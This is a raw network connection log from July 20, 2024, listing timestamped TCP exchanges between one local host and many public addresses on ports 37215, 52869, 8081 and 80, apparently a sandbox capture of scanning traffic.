Jul 20, 2024 23:05:45.129715919 CEST	39486	52869	192.168.2.13	220.159.9.134
Jul 20, 2024 23:05:45.129873991 CEST	8081	37824	97.216.245.248	192.168.2.13
Jul 20, 2024 23:05:45.130899906 CEST	34694	37215	192.168.2.13	157.221.20.7
Jul 20, 2024 23:05:45.131685972 CEST	37215	55824	191.78.129.32	192.168.2.13
Jul 20, 2024 23:05:45.131695986 CEST	37215	34156	157.147.59.60	192.168.2.13
Jul 20, 2024 23:05:45.131951094 CEST	52869	57698	98.62.191.234	192.168.2.13
Jul 20, 2024 23:05:45.131966114 CEST	80	38598	95.96.37.96	192.168.2.13
Jul 20, 2024 23:05:45.131973982 CEST	80	38598	95.96.37.96	192.168.2.13
Jul 20, 2024 23:05:45.132174015 CEST	53158	8081	192.168.2.13	141.138.37.166
Jul 20, 2024 23:05:45.132508993 CEST	80	33496	95.14.252.121	192.168.2.13
Jul 20, 2024 23:05:45.132679939 CEST	57698	52869	192.168.2.13	98.62.191.234
Jul 20, 2024 23:05:45.132915974 CEST	8081	36260	54.124.79.111	192.168.2.13
Jul 20, 2024 23:05:45.133061886 CEST	55824	37215	192.168.2.13	191.78.129.32
Jul 20, 2024 23:05:45.133414030 CEST	47906	80	192.168.2.13	95.169.39.23
Jul 20, 2024 23:05:45.133414030 CEST	47906	80	192.168.2.13	95.169.39.23
Jul 20, 2024 23:05:45.134032965 CEST	36260	8081	192.168.2.13	54.124.79.111
Jul 20, 2024 23:05:45.135230064 CEST	52869	49348	102.46.199.20	192.168.2.13
Jul 20, 2024 23:05:45.135301113 CEST	80	39166	95.96.37.96	192.168.2.13
Jul 20, 2024 23:05:45.135468960 CEST	52869	39486	220.159.9.134	192.168.2.13
Jul 20, 2024 23:05:45.135615110 CEST	8081	49722	139.138.191.133	192.168.2.13
Jul 20, 2024 23:05:45.136375904 CEST	53462	80	192.168.2.13	95.151.87.68
Jul 20, 2024 23:05:45.136404037 CEST	49722	8081	192.168.2.13	139.138.191.133
Jul 20, 2024 23:05:45.136491060 CEST	59228	52869	192.168.2.13	136.24.70.56
Jul 20, 2024 23:05:45.137310982 CEST	39166	80	192.168.2.13	95.96.37.96
Jul 20, 2024 23:05:45.137310982 CEST	39486	52869	192.168.2.13	220.159.9.134
Jul 20, 2024 23:05:45.137310982 CEST	33496	80	192.168.2.13	95.14.252.121
Jul 20, 2024 23:05:45.137310982 CEST	37824	8081	192.168.2.13	97.216.245.248
Jul 20, 2024 23:05:45.137310982 CEST	48478	80	192.168.2.13	95.169.39.23
Jul 20, 2024 23:05:45.137779951 CEST	37215	50756	115.124.30.25	192.168.2.13
Jul 20, 2024 23:05:45.137799025 CEST	80	35380	95.130.82.28	192.168.2.13
Jul 20, 2024 23:05:45.137904882 CEST	37215	34694	157.221.20.7	192.168.2.13
Jul 20, 2024 23:05:45.137963057 CEST	34694	37215	192.168.2.13	157.221.20.7
Jul 20, 2024 23:05:45.138806105 CEST	39428	52869	192.168.2.13	221.3.242.5
Jul 20, 2024 23:05:45.139266014 CEST	34156	37215	192.168.2.13	157.147.59.60
Jul 20, 2024 23:05:45.139266014 CEST	49348	52869	192.168.2.13	102.46.199.20
Jul 20, 2024 23:05:45.139394045 CEST	8081	48748	141.165.175.124	192.168.2.13
Jul 20, 2024 23:05:45.139457941 CEST	40848	80	192.168.2.13	95.212.58.133
Jul 20, 2024 23:05:45.139457941 CEST	40848	80	192.168.2.13	95.212.58.133
Jul 20, 2024 23:05:45.139821053 CEST	44078	8081	192.168.2.13	177.54.176.92
Jul 20, 2024 23:05:45.140260935 CEST	51204	37215	192.168.2.13	157.136.196.45
Jul 20, 2024 23:05:45.140368938 CEST	48748	8081	192.168.2.13	141.165.175.124
Jul 20, 2024 23:05:45.140368938 CEST	35380	80	192.168.2.13	95.130.82.28
Jul 20, 2024 23:05:45.140846968 CEST	50756	37215	192.168.2.13	115.124.30.25
Jul 20, 2024 23:05:45.142185926 CEST	8081	53158	141.138.37.166	192.168.2.13
Jul 20, 2024 23:05:45.142494917 CEST	80	47906	95.169.39.23	192.168.2.13
Jul 20, 2024 23:05:45.142502069 CEST	80	47906	95.169.39.23	192.168.2.13
Jul 20, 2024 23:05:45.142585039 CEST	80	40692	95.0.24.197	192.168.2.13
Jul 20, 2024 23:05:45.142608881 CEST	37215	34648	157.187.94.235	192.168.2.13
Jul 20, 2024 23:05:45.142636061 CEST	53158	8081	192.168.2.13	141.138.37.166
Jul 20, 2024 23:05:45.144377947 CEST	52869	37580	149.223.236.152	192.168.2.13
Jul 20, 2024 23:05:45.144457102 CEST	34648	37215	192.168.2.13	157.187.94.235
Jul 20, 2024 23:05:45.144457102 CEST	40692	80	192.168.2.13	95.0.24.197
Jul 20, 2024 23:05:45.145500898 CEST	41424	80	192.168.2.13	95.212.58.133
Jul 20, 2024 23:05:45.145677090 CEST	8081	43380	71.127.3.34	192.168.2.13
Jul 20, 2024 23:05:45.145705938 CEST	80	52910	95.151.87.68	192.168.2.13
Jul 20, 2024 23:05:45.146286011 CEST	50968	52869	192.168.2.13	136.117.93.58
Jul 20, 2024 23:05:45.146835089 CEST	80	48478	95.169.39.23	192.168.2.13
Jul 20, 2024 23:05:45.146893978 CEST	48478	80	192.168.2.13	95.169.39.23
Jul 20, 2024 23:05:45.147229910 CEST	80	54430	95.99.179.194	192.168.2.13
Jul 20, 2024 23:05:45.147244930 CEST	52869	39428	221.3.242.5	192.168.2.13
Jul 20, 2024 23:05:45.147300959 CEST	39428	52869	192.168.2.13	221.3.242.5
Jul 20, 2024 23:05:45.148267031 CEST	80	40848	95.212.58.133	192.168.2.13
Jul 20, 2024 23:05:45.148271084 CEST	80	40848	95.212.58.133	192.168.2.13
Jul 20, 2024 23:05:45.148281097 CEST	8081	44078	177.54.176.92	192.168.2.13
Jul 20, 2024 23:05:45.148320913 CEST	44078	8081	192.168.2.13	177.54.176.92
Jul 20, 2024 23:05:45.148375988 CEST	54430	80	192.168.2.13	95.99.179.194
Jul 20, 2024 23:05:45.148377895 CEST	37580	52869	192.168.2.13	149.223.236.152
Jul 20, 2024 23:05:45.148718119 CEST	37215	51204	157.136.196.45	192.168.2.13
Jul 20, 2024 23:05:45.148735046 CEST	37215	55824	191.78.129.32	192.168.2.13
Jul 20, 2024 23:05:45.148833990 CEST	43380	8081	192.168.2.13	71.127.3.34
Jul 20, 2024 23:05:45.148859024 CEST	50076	8081	192.168.2.13	47.159.65.141
Jul 20, 2024 23:05:45.149070978 CEST	8081	36260	54.124.79.111	192.168.2.13
Jul 20, 2024 23:05:45.149573088 CEST	52869	57698	98.62.191.234	192.168.2.13
Jul 20, 2024 23:05:45.150696039 CEST	51204	37215	192.168.2.13	157.136.196.45
Jul 20, 2024 23:05:45.150954008 CEST	80	39166	95.96.37.96	192.168.2.13
Jul 20, 2024 23:05:45.151604891 CEST	52869	39486	220.159.9.134	192.168.2.13
Jul 20, 2024 23:05:45.151981115 CEST	37215	34694	157.221.20.7	192.168.2.13
Jul 20, 2024 23:05:45.152250051 CEST	8081	53158	141.138.37.166	192.168.2.13
Jul 20, 2024 23:05:45.152257919 CEST	80	41424	95.212.58.133	192.168.2.13
Jul 20, 2024 23:05:45.152287960 CEST	52869	50968	136.117.93.58	192.168.2.13
Jul 20, 2024 23:05:45.152328968 CEST	50968	52869	192.168.2.13	136.117.93.58
Jul 20, 2024 23:05:45.152370930 CEST	34694	37215	192.168.2.13	157.221.20.7
Jul 20, 2024 23:05:45.152456999 CEST	36260	8081	192.168.2.13	54.124.79.111
Jul 20, 2024 23:05:45.152684927 CEST	41424	80	192.168.2.13	95.212.58.133
Jul 20, 2024 23:05:45.152684927 CEST	39486	52869	192.168.2.13	220.159.9.134
Jul 20, 2024 23:05:45.152684927 CEST	39166	80	192.168.2.13	95.96.37.96
Jul 20, 2024 23:05:45.152684927 CEST	57698	52869	192.168.2.13	98.62.191.234
Jul 20, 2024 23:05:45.152946949 CEST	56854	37215	192.168.2.13	41.247.83.121
Jul 20, 2024 23:05:45.153348923 CEST	80	48478	95.169.39.23	192.168.2.13
Jul 20, 2024 23:05:45.154756069 CEST	53158	8081	192.168.2.13	141.138.37.166
Jul 20, 2024 23:05:45.154756069 CEST	48386	80	192.168.2.13	95.158.64.25
Jul 20, 2024 23:05:45.154860020 CEST	52869	39428	221.3.242.5	192.168.2.13
Jul 20, 2024 23:05:45.155689955 CEST	8081	44078	177.54.176.92	192.168.2.13
Jul 20, 2024 23:05:45.155944109 CEST	8081	50076	47.159.65.141	192.168.2.13
Jul 20, 2024 23:05:45.156377077 CEST	50076	8081	192.168.2.13	47.159.65.141
Jul 20, 2024 23:05:45.156377077 CEST	44078	8081	192.168.2.13	177.54.176.92
Jul 20, 2024 23:05:45.156383991 CEST	48478	80	192.168.2.13	95.169.39.23
Jul 20, 2024 23:05:45.156851053 CEST	39428	52869	192.168.2.13	221.3.242.5
Jul 20, 2024 23:05:45.157079935 CEST	37215	51204	157.136.196.45	192.168.2.13
Jul 20, 2024 23:05:45.157500029 CEST	47806	80	192.168.2.13	95.158.64.25
Jul 20, 2024 23:05:45.157500029 CEST	47806	80	192.168.2.13	95.158.64.25
Jul 20, 2024 23:05:45.157500029 CEST	55824	37215	192.168.2.13	191.78.129.32
Jul 20, 2024 23:05:45.158252001 CEST	37538	52869	192.168.2.13	2.151.18.206
Jul 20, 2024 23:05:45.158279896 CEST	50754	80	192.168.2.13	95.135.233.161
Jul 20, 2024 23:05:45.158279896 CEST	50754	80	192.168.2.13	95.135.233.161
Jul 20, 2024 23:05:45.158473015 CEST	37215	56854	41.247.83.121	192.168.2.13
Jul 20, 2024 23:05:45.158525944 CEST	56854	37215	192.168.2.13	41.247.83.121
Jul 20, 2024 23:05:45.158859968 CEST	52869	50968	136.117.93.58	192.168.2.13
Jul 20, 2024 23:05:45.159310102 CEST	36246	8081	192.168.2.13	126.23.219.122
Jul 20, 2024 23:05:45.159507990 CEST	80	41424	95.212.58.133	192.168.2.13
Jul 20, 2024 23:05:45.160362005 CEST	51204	37215	192.168.2.13	157.136.196.45
Jul 20, 2024 23:05:45.160363913 CEST	50968	52869	192.168.2.13	136.117.93.58
Jul 20, 2024 23:05:45.160368919 CEST	41424	80	192.168.2.13	95.212.58.133
Jul 20, 2024 23:05:45.161261082 CEST	50186	37215	192.168.2.13	197.243.43.53
Jul 20, 2024 23:05:45.161854029 CEST	51338	80	192.168.2.13	95.135.233.161
Jul 20, 2024 23:05:45.162467003 CEST	8081	50076	47.159.65.141	192.168.2.13
Jul 20, 2024 23:05:45.162823915 CEST	80	47806	95.158.64.25	192.168.2.13
Jul 20, 2024 23:05:45.162827969 CEST	51640	52869	192.168.2.13	72.17.189.116
Jul 20, 2024 23:05:45.163050890 CEST	80	47806	95.158.64.25	192.168.2.13
Jul 20, 2024 23:05:45.163719893 CEST	59354	8081	192.168.2.13	124.240.54.115
Jul 20, 2024 23:05:45.163727045 CEST	52869	37538	2.151.18.206	192.168.2.13
Jul 20, 2024 23:05:45.163777113 CEST	37538	52869	192.168.2.13	2.151.18.206
Jul 20, 2024 23:05:45.164189100 CEST	80	50754	95.135.233.161	192.168.2.13
Jul 20, 2024 23:05:45.164192915 CEST	80	50754	95.135.233.161	192.168.2.13
Jul 20, 2024 23:05:45.164303064 CEST	37215	56854	41.247.83.121	192.168.2.13
Jul 20, 2024 23:05:45.164479971 CEST	43234	80	192.168.2.13	95.78.75.152
Jul 20, 2024 23:05:45.164480925 CEST	43234	80	192.168.2.13	95.78.75.152
Jul 20, 2024 23:05:45.164644957 CEST	80	48386	95.158.64.25	192.168.2.13
Jul 20, 2024 23:05:45.165076971 CEST	48386	80	192.168.2.13	95.158.64.25
Jul 20, 2024 23:05:45.165600061 CEST	50076	8081	192.168.2.13	47.159.65.141
Jul 20, 2024 23:05:45.166040897 CEST	43818	80	192.168.2.13	95.78.75.152
Jul 20, 2024 23:05:45.166136026 CEST	8081	36246	126.23.219.122	192.168.2.13
Jul 20, 2024 23:05:45.166486979 CEST	36246	8081	192.168.2.13	126.23.219.122
Jul 20, 2024 23:05:45.166491985 CEST	35116	37215	192.168.2.13	137.106.194.233
Jul 20, 2024 23:05:45.167722940 CEST	80	51338	95.135.233.161	192.168.2.13
Jul 20, 2024 23:05:45.167766094 CEST	51338	80	192.168.2.13	95.135.233.161
Jul 20, 2024 23:05:45.168072939 CEST	49020	52869	192.168.2.13	134.55.152.47
Jul 20, 2024 23:05:45.168205976 CEST	37215	50186	197.243.43.53	192.168.2.13
Jul 20, 2024 23:05:45.168287039 CEST	50186	37215	192.168.2.13	197.243.43.53
Jul 20, 2024 23:05:45.168486118 CEST	52869	51640	72.17.189.116	192.168.2.13
Jul 20, 2024 23:05:45.168625116 CEST	54004	80	192.168.2.13	95.83.248.117
Jul 20, 2024 23:05:45.168625116 CEST	54004	80	192.168.2.13	95.83.248.117
Jul 20, 2024 23:05:45.168709040 CEST	51640	52869	192.168.2.13	72.17.189.116
Jul 20, 2024 23:05:45.169009924 CEST	56854	37215	192.168.2.13	41.247.83.121
Jul 20, 2024 23:05:45.169431925 CEST	34248	8081	192.168.2.13	119.69.98.197
Jul 20, 2024 23:05:45.169686079 CEST	8081	59354	124.240.54.115	192.168.2.13
Jul 20, 2024 23:05:45.169723988 CEST	59354	8081	192.168.2.13	124.240.54.115
Jul 20, 2024 23:05:45.170681000 CEST	80	43234	95.78.75.152	192.168.2.13
Jul 20, 2024 23:05:45.170685053 CEST	80	43234	95.78.75.152	192.168.2.13
Jul 20, 2024 23:05:45.170953989 CEST	54588	80	192.168.2.13	95.83.248.117
Jul 20, 2024 23:05:45.171504021 CEST	44620	37215	192.168.2.13	121.95.140.123
Jul 20, 2024 23:05:45.171879053 CEST	50220	52869	192.168.2.13	198.139.127.65
Jul 20, 2024 23:05:45.172445059 CEST	80	43818	95.78.75.152	192.168.2.13
Jul 20, 2024 23:05:45.172504902 CEST	43818	80	192.168.2.13	95.78.75.152
Jul 20, 2024 23:05:45.172911882 CEST	43646	8081	192.168.2.13	57.222.21.106
Jul 20, 2024 23:05:45.173002958 CEST	37215	35116	137.106.194.233	192.168.2.13
Jul 20, 2024 23:05:45.173084974 CEST	35116	37215	192.168.2.13	137.106.194.233
Jul 20, 2024 23:05:45.173679113 CEST	52590	80	192.168.2.13	95.25.159.84
Jul 20, 2024 23:05:45.173679113 CEST	52590	80	192.168.2.13	95.25.159.84
Jul 20, 2024 23:05:45.173974991 CEST	80	48386	95.158.64.25	192.168.2.13
Jul 20, 2024 23:05:45.173996925 CEST	52869	49020	134.55.152.47	192.168.2.13
Jul 20, 2024 23:05:45.174041986 CEST	49020	52869	192.168.2.13	134.55.152.47
Jul 20, 2024 23:05:45.174562931 CEST	80	54004	95.83.248.117	192.168.2.13
Jul 20, 2024 23:05:45.174591064 CEST	80	54004	95.83.248.117	192.168.2.13
Jul 20, 2024 23:05:45.175935984 CEST	8081	34248	119.69.98.197	192.168.2.13
Jul 20, 2024 23:05:45.175987005 CEST	34248	8081	192.168.2.13	119.69.98.197
Jul 20, 2024 23:05:45.176132917 CEST	53178	80	192.168.2.13	95.25.159.84
Jul 20, 2024 23:05:45.176368952 CEST	48386	80	192.168.2.13	95.158.64.25
Jul 20, 2024 23:05:45.176475048 CEST	80	54588	95.83.248.117	192.168.2.13
Jul 20, 2024 23:05:45.176527977 CEST	54588	80	192.168.2.13	95.83.248.117
Jul 20, 2024 23:05:45.177103996 CEST	50836	37215	192.168.2.13	41.122.228.58
Jul 20, 2024 23:05:45.177438974 CEST	37215	44620	121.95.140.123	192.168.2.13
Jul 20, 2024 23:05:45.177495956 CEST	38498	52869	192.168.2.13	101.73.4.16
Jul 20, 2024 23:05:45.177598000 CEST	44620	37215	192.168.2.13	121.95.140.123
Jul 20, 2024 23:05:45.177763939 CEST	52869	50220	198.139.127.65	192.168.2.13
Jul 20, 2024 23:05:45.178087950 CEST	33886	80	192.168.2.13	95.198.148.102
Jul 20, 2024 23:05:45.178205013 CEST	33886	80	192.168.2.13	95.198.148.102
Jul 20, 2024 23:05:45.178354025 CEST	49710	8081	192.168.2.13	110.212.192.180
Jul 20, 2024 23:05:45.179016113 CEST	8081	43646	57.222.21.106	192.168.2.13
Jul 20, 2024 23:05:45.179066896 CEST	43646	8081	192.168.2.13	57.222.21.106
Jul 20, 2024 23:05:45.179166079 CEST	50220	52869	192.168.2.13	198.139.127.65
Jul 20, 2024 23:05:45.179389954 CEST	8081	36246	126.23.219.122	192.168.2.13
Jul 20, 2024 23:05:45.180289984 CEST	80	52590	95.25.159.84	192.168.2.13
Jul 20, 2024 23:05:45.180294991 CEST	80	52590	95.25.159.84	192.168.2.13
Jul 20, 2024 23:05:45.180516005 CEST	80	51338	95.135.233.161	192.168.2.13
Jul 20, 2024 23:05:45.181540012 CEST	34470	80	192.168.2.13	95.198.148.102
Jul 20, 2024 23:05:45.181835890 CEST	51580	52869	192.168.2.13	187.150.149.148
Jul 20, 2024 23:05:45.182498932 CEST	60854	8081	192.168.2.13	183.19.193.120
Jul 20, 2024 23:05:45.182634115 CEST	53532	37215	192.168.2.13	194.186.195.245
Jul 20, 2024 23:05:45.182785034 CEST	37215	50186	197.243.43.53	192.168.2.13
Jul 20, 2024 23:05:45.183584929 CEST	80	53178	95.25.159.84	192.168.2.13
Jul 20, 2024 23:05:45.183589935 CEST	52869	51640	72.17.189.116	192.168.2.13
Jul 20, 2024 23:05:45.183630943 CEST	53178	80	192.168.2.13	95.25.159.84
Jul 20, 2024 23:05:45.183921099 CEST	33324	80	192.168.2.13	95.39.245.20
Jul 20, 2024 23:05:45.183921099 CEST	33324	80	192.168.2.13	95.39.245.20
Jul 20, 2024 23:05:45.184367895 CEST	36246	8081	192.168.2.13	126.23.219.122
Jul 20, 2024 23:05:45.184371948 CEST	51640	52869	192.168.2.13	72.17.189.116
Jul 20, 2024 23:05:45.184371948 CEST	51338	80	192.168.2.13	95.135.233.161
Jul 20, 2024 23:05:45.184376955 CEST	50186	37215	192.168.2.13	197.243.43.53
Jul 20, 2024 23:05:45.184516907 CEST	37215	50836	41.122.228.58	192.168.2.13
Jul 20, 2024 23:05:45.184520960 CEST	52869	38498	101.73.4.16	192.168.2.13
Jul 20, 2024 23:05:45.184562922 CEST	50836	37215	192.168.2.13	41.122.228.58
Jul 20, 2024 23:05:45.184562922 CEST	38498	52869	192.168.2.13	101.73.4.16
Jul 20, 2024 23:05:45.186188936 CEST	33906	80	192.168.2.13	95.39.245.20
Jul 20, 2024 23:05:45.188555002 CEST	55982	52869	192.168.2.13	137.36.77.53
Jul 20, 2024 23:05:45.188559055 CEST	80	33886	95.198.148.102	192.168.2.13
Jul 20, 2024 23:05:45.188585997 CEST	8081	59354	124.240.54.115	192.168.2.13
Jul 20, 2024 23:05:45.188602924 CEST	80	33886	95.198.148.102	192.168.2.13
Jul 20, 2024 23:05:45.188615084 CEST	8081	49710	110.212.192.180	192.168.2.13
Jul 20, 2024 23:05:45.188667059 CEST	80	43818	95.78.75.152	192.168.2.13
Jul 20, 2024 23:05:45.188676119 CEST	49710	8081	192.168.2.13	110.212.192.180
Jul 20, 2024 23:05:45.189531088 CEST	37215	35116	137.106.194.233	192.168.2.13
Jul 20, 2024 23:05:45.189919949 CEST	39158	80	192.168.2.13	95.115.29.222
Jul 20, 2024 23:05:45.189919949 CEST	39158	80	192.168.2.13	95.115.29.222
Jul 20, 2024 23:05:45.190244913 CEST	33506	37215	192.168.2.13	73.245.214.213
Jul 20, 2024 23:05:45.190924883 CEST	37086	8081	192.168.2.13	145.66.34.107
Jul 20, 2024 23:05:45.191000938 CEST	80	34470	95.198.148.102	192.168.2.13
Jul 20, 2024 23:05:45.191021919 CEST	52869	51580	187.150.149.148	192.168.2.13
Jul 20, 2024 23:05:45.191031933 CEST	52869	49020	134.55.152.47	192.168.2.13
Jul 20, 2024 23:05:45.191090107 CEST	34470	80	192.168.2.13	95.198.148.102
Jul 20, 2024 23:05:45.191279888 CEST	8081	60854	183.19.193.120	192.168.2.13
Jul 20, 2024 23:05:45.191296101 CEST	37215	53532	194.186.195.245	192.168.2.13
Jul 20, 2024 23:05:45.191343069 CEST	53532	37215	192.168.2.13	194.186.195.245
Jul 20, 2024 23:05:45.191544056 CEST	51580	52869	192.168.2.13	187.150.149.148
Jul 20, 2024 23:05:45.191939116 CEST	80	33324	95.39.245.20	192.168.2.13
Jul 20, 2024 23:05:45.191955090 CEST	80	33324	95.39.245.20	192.168.2.13
Jul 20, 2024 23:05:45.192003965 CEST	8081	34248	119.69.98.197	192.168.2.13
Jul 20, 2024 23:05:45.192389011 CEST	35116	37215	192.168.2.13	137.106.194.233
Jul 20, 2024 23:05:45.192392111 CEST	34248	8081	192.168.2.13	119.69.98.197
Jul 20, 2024 23:05:45.192392111 CEST	43818	80	192.168.2.13	95.78.75.152
Jul 20, 2024 23:05:45.192548990 CEST	60854	8081	192.168.2.13	183.19.193.120
Jul 20, 2024 23:05:45.192548990 CEST	59354	8081	192.168.2.13	124.240.54.115
Jul 20, 2024 23:05:45.192656040 CEST	80	54588	95.83.248.117	192.168.2.13
Jul 20, 2024 23:05:45.193070889 CEST	37215	44620	121.95.140.123	192.168.2.13
Jul 20, 2024 23:05:45.193356991 CEST	39746	80	192.168.2.13	95.115.29.222
Jul 20, 2024 23:05:45.194233894 CEST	8081	43646	57.222.21.106	192.168.2.13
Jul 20, 2024 23:05:45.194238901 CEST	52869	50220	198.139.127.65	192.168.2.13
Jul 20, 2024 23:05:45.194876909 CEST	80	33906	95.39.245.20	192.168.2.13
Jul 20, 2024 23:05:45.194901943 CEST	80	53178	95.25.159.84	192.168.2.13
Jul 20, 2024 23:05:45.194905996 CEST	37215	50836	41.122.228.58	192.168.2.13
Jul 20, 2024 23:05:45.195565939 CEST	52869	55982	137.36.77.53	192.168.2.13
Jul 20, 2024 23:05:45.195595980 CEST	52869	38498	101.73.4.16	192.168.2.13
Jul 20, 2024 23:05:45.195600986 CEST	80	39158	95.115.29.222	192.168.2.13
Jul 20, 2024 23:05:45.195607901 CEST	55982	52869	192.168.2.13	137.36.77.53
Jul 20, 2024 23:05:45.195750952 CEST	80	39158	95.115.29.222	192.168.2.13
Jul 20, 2024 23:05:45.195770979 CEST	37215	33506	73.245.214.213	192.168.2.13
Jul 20, 2024 23:05:45.195786953 CEST	8081	49710	110.212.192.180	192.168.2.13
Jul 20, 2024 23:05:45.196371078 CEST	49710	8081	192.168.2.13	110.212.192.180
Jul 20, 2024 23:05:45.196372032 CEST	53178	80	192.168.2.13	95.25.159.84
Jul 20, 2024 23:05:45.196371078 CEST	38498	52869	192.168.2.13	101.73.4.16
Jul 20, 2024 23:05:45.196371078 CEST	50836	37215	192.168.2.13	41.122.228.58
Jul 20, 2024 23:05:45.196383953 CEST	54588	80	192.168.2.13	95.83.248.117
Jul 20, 2024 23:05:45.196657896 CEST	41096	52869	192.168.2.13	78.233.207.44
Jul 20, 2024 23:05:45.196659088 CEST	44620	37215	192.168.2.13	121.95.140.123
Jul 20, 2024 23:05:45.196878910 CEST	8081	37086	145.66.34.107	192.168.2.13
Jul 20, 2024 23:05:45.196918964 CEST	37086	8081	192.168.2.13	145.66.34.107
Jul 20, 2024 23:05:45.197195053 CEST	43646	8081	192.168.2.13	57.222.21.106
Jul 20, 2024 23:05:45.197683096 CEST	37016	80	192.168.2.13	95.184.164.197
Jul 20, 2024 23:05:45.197683096 CEST	37016	80	192.168.2.13	95.184.164.197
Jul 20, 2024 23:05:45.197705030 CEST	52950	8081	192.168.2.13	112.199.16.104
Jul 20, 2024 23:05:45.197705030 CEST	33506	37215	192.168.2.13	73.245.214.213
Jul 20, 2024 23:05:45.197767973 CEST	80	34470	95.198.148.102	192.168.2.13
Jul 20, 2024 23:05:45.198086977 CEST	33906	80	192.168.2.13	95.39.245.20
Jul 20, 2024 23:05:45.198086977 CEST	49020	52869	192.168.2.13	134.55.152.47
Jul 20, 2024 23:05:45.198086977 CEST	50220	52869	192.168.2.13	198.139.127.65
Jul 20, 2024 23:05:45.198249102 CEST	37215	53532	194.186.195.245	192.168.2.13
Jul 20, 2024 23:05:45.198698044 CEST	55240	37215	192.168.2.13	41.166.208.82
Jul 20, 2024 23:05:45.200079918 CEST	52869	51580	187.150.149.148	192.168.2.13
Jul 20, 2024 23:05:45.200083017 CEST	37600	80	192.168.2.13	95.184.164.197
Jul 20, 2024 23:05:45.200391054 CEST	53532	37215	192.168.2.13	194.186.195.245
Jul 20, 2024 23:05:45.201623917 CEST	55328	52869	192.168.2.13	105.38.165.57
Jul 20, 2024 23:05:45.202117920 CEST	80	39746	95.115.29.222	192.168.2.13
Jul 20, 2024 23:05:45.202124119 CEST	8081	60854	183.19.193.120	192.168.2.13
Jul 20, 2024 23:05:45.202388048 CEST	39746	80	192.168.2.13	95.115.29.222
Jul 20, 2024 23:05:45.203155994 CEST	34638	80	192.168.2.13	95.70.3.199
Jul 20, 2024 23:05:45.203155994 CEST	34638	80	192.168.2.13	95.70.3.199
Jul 20, 2024 23:05:45.203176975 CEST	45830	8081	192.168.2.13	173.156.2.136
Jul 20, 2024 23:05:45.203973055 CEST	52869	41096	78.233.207.44	192.168.2.13
Jul 20, 2024 23:05:45.204031944 CEST	41096	52869	192.168.2.13	78.233.207.44
Jul 20, 2024 23:05:45.204371929 CEST	60854	8081	192.168.2.13	183.19.193.120
Jul 20, 2024 23:05:45.204374075 CEST	51580	52869	192.168.2.13	187.150.149.148
Jul 20, 2024 23:05:45.204401016 CEST	34470	80	192.168.2.13	95.198.148.102
Jul 20, 2024 23:05:45.205012083 CEST	37606	37215	192.168.2.13	197.90.187.218
Jul 20, 2024 23:05:45.205467939 CEST	8081	52950	112.199.16.104	192.168.2.13
Jul 20, 2024 23:05:45.205513000 CEST	80	37016	95.184.164.197	192.168.2.13
Jul 20, 2024 23:05:45.205724001 CEST	52950	8081	192.168.2.13	112.199.16.104
Jul 20, 2024 23:05:45.206007957 CEST	52869	55982	137.36.77.53	192.168.2.13
Jul 20, 2024 23:05:45.206196070 CEST	80	37016	95.184.164.197	192.168.2.13
Jul 20, 2024 23:05:45.206264019 CEST	45876	52869	192.168.2.13	42.140.137.117
Jul 20, 2024 23:05:45.206603050 CEST	35230	80	192.168.2.13	95.70.3.199
Jul 20, 2024 23:05:45.206868887 CEST	37215	55240	41.166.208.82	192.168.2.13
Jul 20, 2024 23:05:45.206923962 CEST	39328	8081	192.168.2.13	77.29.216.190
Jul 20, 2024 23:05:45.207015038 CEST	80	37600	95.184.164.197	192.168.2.13
Jul 20, 2024 23:05:45.207063913 CEST	37600	80	192.168.2.13	95.184.164.197
Jul 20, 2024 23:05:45.207442045 CEST	55240	37215	192.168.2.13	41.166.208.82
Jul 20, 2024 23:05:45.208693981 CEST	52869	55328	105.38.165.57	192.168.2.13
Jul 20, 2024 23:05:45.209116936 CEST	8081	45830	173.156.2.136	192.168.2.13
Jul 20, 2024 23:05:45.209132910 CEST	80	34638	95.70.3.199	192.168.2.13
Jul 20, 2024 23:05:45.209332943 CEST	80	34638	95.70.3.199	192.168.2.13
Jul 20, 2024 23:05:45.210536003 CEST	8081	37086	145.66.34.107	192.168.2.13
Jul 20, 2024 23:05:45.210858107 CEST	37215	37606	197.90.187.218	192.168.2.13
Jul 20, 2024 23:05:45.211532116 CEST	80	33906	95.39.245.20	192.168.2.13
Jul 20, 2024 23:05:45.211549044 CEST	37215	33506	73.245.214.213	192.168.2.13
Jul 20, 2024 23:05:45.211839914 CEST	52869	45876	42.140.137.117	192.168.2.13
Jul 20, 2024 23:05:45.212131977 CEST	80	35230	95.70.3.199	192.168.2.13
Jul 20, 2024 23:05:45.212521076 CEST	8081	39328	77.29.216.190	192.168.2.13
Jul 20, 2024 23:05:45.213228941 CEST	55328	52869	192.168.2.13	105.38.165.57
Jul 20, 2024 23:05:45.214672089 CEST	80	39746	95.115.29.222	192.168.2.13
Jul 20, 2024 23:05:45.215605974 CEST	52869	41096	78.233.207.44	192.168.2.13
Jul 20, 2024 23:05:45.216516018 CEST	8081	52950	112.199.16.104	192.168.2.13
Jul 20, 2024 23:05:45.216520071 CEST	80	37600	95.184.164.197	192.168.2.13
Jul 20, 2024 23:05:45.218358040 CEST	37215	55240	41.166.208.82	192.168.2.13
Jul 20, 2024 23:05:45.219588995 CEST	52869	55328	105.38.165.57	192.168.2.13
Jul 20, 2024 23:05:45.221064091 CEST	55982	52869	192.168.2.13	137.36.77.53
Jul 20, 2024 23:05:45.221510887 CEST	45830	8081	192.168.2.13	173.156.2.136
Jul 20, 2024 23:05:45.226790905 CEST	35230	80	192.168.2.13	95.70.3.199
Jul 20, 2024 23:05:45.227189064 CEST	41096	52869	192.168.2.13	78.233.207.44
Jul 20, 2024 23:05:45.227787971 CEST	8081	45830	173.156.2.136	192.168.2.13
Jul 20, 2024 23:05:45.230940104 CEST	33906	80	192.168.2.13	95.39.245.20
Jul 20, 2024 23:05:45.230940104 CEST	39328	8081	192.168.2.13	77.29.216.190
Jul 20, 2024 23:05:45.237447023 CEST	8081	39328	77.29.216.190	192.168.2.13
Jul 20, 2024 23:05:45.238507032 CEST	80	35230	95.70.3.199	192.168.2.13
Jul 20, 2024 23:05:45.239135027 CEST	37606	37215	192.168.2.13	197.90.187.218
Jul 20, 2024 23:05:45.239135027 CEST	33506	37215	192.168.2.13	73.245.214.213
Jul 20, 2024 23:05:45.241523981 CEST	37086	8081	192.168.2.13	145.66.34.107
Jul 20, 2024 23:05:45.241523981 CEST	37600	80	192.168.2.13	95.184.164.197
Jul 20, 2024 23:05:45.244791031 CEST	45876	52869	192.168.2.13	42.140.137.117
Jul 20, 2024 23:05:45.245512009 CEST	39746	80	192.168.2.13	95.115.29.222
